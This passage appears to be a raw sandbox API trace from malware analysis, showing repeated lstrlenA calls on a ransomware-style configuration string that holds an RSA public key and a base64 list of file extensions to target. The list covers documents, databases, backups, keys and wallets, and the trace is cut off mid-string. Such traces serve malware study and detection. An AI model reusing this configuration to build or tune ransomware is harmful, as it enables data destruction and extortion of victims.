(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi